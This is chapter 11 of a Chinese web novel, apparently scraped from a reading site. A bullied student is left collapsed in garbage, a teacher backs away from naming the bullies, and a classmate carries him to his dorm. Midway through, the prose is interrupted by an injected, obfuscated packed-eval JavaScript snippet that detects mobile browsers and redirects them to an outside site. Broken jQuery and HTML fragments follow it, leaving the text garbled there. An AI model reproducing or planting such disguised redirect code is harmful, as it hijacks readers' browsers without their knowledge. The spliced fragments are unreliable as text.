11. 泥沼

作品:《万人嫌死遁后前夫疯了

    人,如果能选择自己的命运就好了。


    偶尔李知想,这个世界上会有另外一个我吗?另一个平凡的,却很快乐的我。


    平行世界里的李知,父母双全,生活拮据却也满足,他终其一生都没住过那样华美的房子,没有穿过那么昂贵的衣物,吃过那么精细的食物,但他很开心。


    快乐。李知曾以为,快乐是一阵接着一阵的清风。


    可是现在他才明白,快乐是一戳就散的泡沫。


    他好像做了一个很长很长的梦,这是个美梦,一团轻软的云雾一样将他托起来,李知所处之处愈来愈高,眼前的事物愈来愈美。


    那团云雾化作通往象征着“幸福”的伊甸园的阶梯,他看到一颗色泽鲜艳的苹果,有一个虚无的声音对他说,吃了它,吃了它就能得到永远的幸福——于是李知被魇住一般伸出手,就在他要将其摘下的时候,云雾散了。


    他从至高处狠狠地摔了下来,李知睁开眼睛,看到倾倒在地的残羹剩饭,还有不断振翅,嗡嗡作响的苍蝇。


    李知眨了眨眼睛,眼很干涩,宛如干枯的河流,他侧着瘫倒在地上,身体蜷缩着,是个婴儿在母亲子宫里的姿势。


    他的两只手垂在一边,痉挛着——可这痉挛的幅度极小,若不仔细看,绝对发现不出来。


    爬起来吧……可是身体仿佛不像是他自己的了,他甚至无法控制自己的手指,只能眼睁睁地看着它在颤抖。


    不论李知如何努力,它都只是颤抖……拜托了……动一动吧……


    撑在地面上……然后爬起来将自己收拾干净去上课,为什么做不到呢?明明是一件很简单的事啊……


    李知的眼皮神经质地颤抖着,一声如同兽类濒死时的悲鸣,从他的齿关处泄了出来。李知意识到一个可悲的事实——他所躺的地方并不是冰冷坚硬的地面,而是一片沼泽,越是挣扎,只会陷的越快…


    “谁在那里!”突然的,一道男声响了起来,不断晃动的手电筒的光亮使李知什么也看不见。过了许久,他才看清楚伫立在自己面前的人,那是个中年男子。


    是学校的器材室老师。


    “同学…同学?”那男老师显然是被李知的这幅“尊容”给吓了一跳,“你怎么回事?这……”


    他环顾一周,指着那个倒在地上的大垃圾桶,“这是谁弄的?”


    “同学,有人欺负你吗?到底发生了什么……告诉老师!”


    “太过分了!”他义愤填膺道,“你是哪个班的?你叫什么名字?你们班主任是谁?刚刚还有谁在这里!”


    李知分开嘴唇,他很庆幸自己还能说话,尽管声音很轻,可至少能说出来——


    “我…我是G10A班的李知,我的班主任是……Jennie刘老师,刚刚…王…王凯轩,韩子…尧,陈…”


    他磕磕巴巴地说着,可是说到一半,原本微弱的声音逐渐趋近于无,最终消失……他注意到面前男老师的脸色变化,从最初的愤怒,到慌张,最后,懊悔。


    李知好像听到了什么东西“啪嗒”一声碎掉的声音。


    “这…这样吗……可能是有什么误会吧,同学,你先起来去清洗一下,额……我也会去找你的班主任说明情况。”只是丢下这句话,他便匆匆转身离开,脚步浮乱背影仓惶,几乎称的上是“落荒而逃”。


    他离开地太急促了,甚至忘记关上球馆的门,明媚的阳光自外倾洒到布满尘灰的地上,有那么一束落到了李知的脚边。


    李知的脚神经质地弹了弹,像一条脱水的鱼,他双目无神地看着前方,面孔濡湿,全身上下只有眼皮能动——那是眼泪。


    李知意识到自己哭了,约摸几秒后,哀恸的、绝望的哭声在偌大废弃的羽毛球场中响起来,那声音沙哑又尖锐,宛如在崩断边缘的丝弦,“啊——”


    “啊——!”


    救救他吧,救救他吧。


    人也好,神也好,鬼也好,不管是谁,救救他吧。


    “求……求求你了……”李知倒在地上,不知道是在和谁说话,口中的血味浓得令他作呕,涎液、血液,眼泪混在一起,混乱的像他本身,“帮帮我吧。”


    嗒,嗒,是皮鞋踏在地板上的声音——李知蓦然睁大眼。


    他用尽全力朝那声音的源头处望去,半敞着的大门处伫立着一个高挑的身影,他站在光明与黑暗的交界处,一手扶着挂脖耳机,另一手插着兜,那个人身上背着个类似于大提琴状的琴包,但比普通的大提琴琴包更大。


    逆着光,李知看不清他的脸,可他认出那个人了,李知干枯起皮的嘴唇嗫嚅着,颤抖着声音叫出了那个人的名字——


    “褚明彰。”


    褚明彰。你帮帮我吧。


    可怜可怜我吧,只要帮我一个小忙就好了,一个很小很小的忙……不会很麻烦你的。


    “……”可李知的嗓子已经哭哑了,他发不出声音来,那些话盘绕在他心里,却无论如何都说不出口。


    与此同时威斯敏斯特钟声响起,那只踏在黑暗处的脚轻轻挪动了一下,而后调转了方向——


    嗒、嗒。与他来时一般平稳的脚步声。


    离开了,褚明彰离开了。


    李知闭上眼睛,倒在地上的身体发冷,他再也没有眼泪可以流出来,落在身上的垃圾像命运的雪花,形成一个小小的、肮脏的坟包。


    生命力像泪水一样逐渐流走,一种常人无法抵御的寒冷自四肢百骸漫来,一点一点、朝着心脏的方向。


    李知的眼皮颤了颤,那细密轻柔的睫羽好似忽然变得重若千钧,眼前的一切变得愈来愈模糊,愈来愈黑沉,最后只剩下小小的一条缝,连一点微弱的光也看不见了……


    ……


    温暖的、还不算太宽阔坚实的少年的肩背,衬衫领口处伴随着一股浅淡雪松的气息,冷白的后颈,修剪齐整的发稍……


    他趴在一个人的背上?


    “不要乱动。”


    比起这个,更令李知料想不到的是——背着他的人不是别人,而是褚明彰。


    “褚…褚明彰?呃…呕——”胃部骤然抽痛,一股酸液直往上涌,瞬间盈满口腔……他吐了出来。


    吐在了……吐在了褚明彰身上!


    “…呃啊!对……对不起!”那一瞬间李知真觉得自己背上的寒毛都要竖起来了,他只能眼睁睁地看着自己酿下的“大错”,却无法挽回,李知慌得脑子发懵,想做点什么,竟然傻乎乎地要拿袖子去擦褚明彰的领口。


    “别碰我。”可是褚明彰在这时候开口了,他的话止住了李知的动作,少年的声音冷淡却悦耳,褚明彰低着头,李知看不清他的表情,可他听出了那三字中所蕴含的…烦躁。


    李知将目光从他的领口处移回来,他悻悻地收起手,“那个……对不起……”


    “…谢谢你,要不,要不我自己走吧?”


    褚明彰没说话。


    李知自顾自地说下去,语无伦次地碎碎念:“嗯,好,好像已经上课了吧?你,你不用上课吗?麻烦你了…”


    “对不起。”现在的场景太诡异了,李知浑身僵硬,他绞尽脑汁地想说点什么,好让氛围不那么尴尬,可惜除了翻来覆去地说对不起,什么也说不出来。


    褚明彰一直不理他,李知也自讨没趣,索性也不说了。夕阳下,褚明彰背着他穿过一幢幢教学楼,站定在一处岔路口,“医务室,还是宿舍。”


    “啊…啊,宿宿舍吧!”


    褚明彰没有立刻往宿舍的方向走,他仍然站在原地,“你确定?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571343|171493||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “嗯。”


    “你住哪。”褚明彰问他。


    李知本想报上自己的宿舍房号,可是第一个数字刚念出口,又忽然顿住了,褚明彰注意到他的欲言又止,问:“怎么了?”


    李知极其羞赧地回答道:“我忘记带宿舍钥匙匙了。”


    他说完这句话就低下了头,李知甚至不敢看褚明彰的反应——对方似乎深深吸了一口气,又极其缓慢地吐了出来。


    李知涨红了脸,因为羞愧。


    “那先去我宿舍。”李知听到褚明彰这样说。


    李知张了张口,本想说什么,可又不知道为什么咽了下去,也许是因为褚明彰明显不耐的神情,也可能是因为别的,总之他也不大清楚。


    褚明彰的宿舍根本不与他们在同一幢,而是处于另外一幢的顶层,大概一百三十多平,采光很好,余晖透过落地窗斜斜地落在光洁的大理石地面上,落在平放在地上的低音提琴琴包上。


    “你能站稳吗?”褚明彰将李知放下来,而后转过身。


    其实李知的腿还有些发软,膝关节那里仍时不时地传来一阵阵刺痛,但他扶着墙,忙不迭地点头:“能,能,麻烦你了。”


    他抬起头,而后愣了一下,不为别的,为褚明彰身上那件衣裳——素来不染纤尘的衬衣被各色不明液体染脏了,皱巴巴地沾在身上,看起来……


    很狼狈。


    “你看够了吗。”褚明彰声音没什么变化,但李知注意到他的眉头轻轻地拧了一下,褚明彰抬起手,往里指了指,“如果你要洗澡,用外面那个卫生间。”


    “哦,哦,那我穿……”


    褚明彰轻啧一声,又指指另一边儿,“那里是衣帽间,你先随便拿一套穿。”


    他说完这句话,便如不能忍受般朝着走廊深处走去,而后便传来房门上锁的声音,不难猜出是去洗澡了。


    李知又在原地蹲了一会,等缓过了那阵莫名其妙的痛,才按照褚明彰方才指的,衣帽间的方向走去。


    他随便拿了一套便一头钻进了浴室,淋浴打开,温暖的水流将附着在身上的污秽都冲洗掉时,李知只觉得全身筋脉都变得暖绒绒的。


    寒冷与脏污一同顺着下水管道离开,李知挺直身体,他仰起头,将湿漉漉的头发捋至脑后。


    带着雪松与橙花味道的泡沫流经身体的每一处,李知将自己的浑身上下都洗得干干净净的,直到他觉得自己真的干净了,真的安全了,才拉开了浴室的门。


    李知遇到了两个难题,第一个难题,褚明彰的衣服对于他来说太宽大了,上身的套头卫衣还能凑合着穿,那裤子实在太长,李知抗争许久,终归放弃,将那裤子叠好了放在一边。


    另一个难题,他在浴室翻箱倒柜良久,都没能找到吹风机。


    正巧这时卫生间门被敲响,隔着厚厚的木板,李知听到褚明彰的声音,“李知?”


    “李知?你开下门。”笃笃的敲门声。


    李知慌忙地从地上站起来,头发不断往下滴着水珠,使得眼前一片模糊,李知将额前湿淋淋的发往后捋,继而赤着两条腿去开门——


    “你在里面干什么?”褚明彰的眉心轻轻一皱,他一手撑在门把手上,目光自然而然地落在比他矮一点儿的李知身上,“你知不知道你在里面洗了快两个小……”


    他看着李知,瞳仁微微地晃了一下。


    浴室门遽然被打开,氤氲的水汽裹挟着橙花的芬芳,无形的、轻飘飘的,又好像很沉重。李知不自在地搅了搅手指,将粘在脖颈上的一根湿发拨开了,白到几乎透明的皮肤上留下一道蜿蜒的水痕,流经喉结边上一颗小小的黑痣。


    “哦,抱歉。”李知低下头,很小声地回答道。


    “我没有找到吹风机。”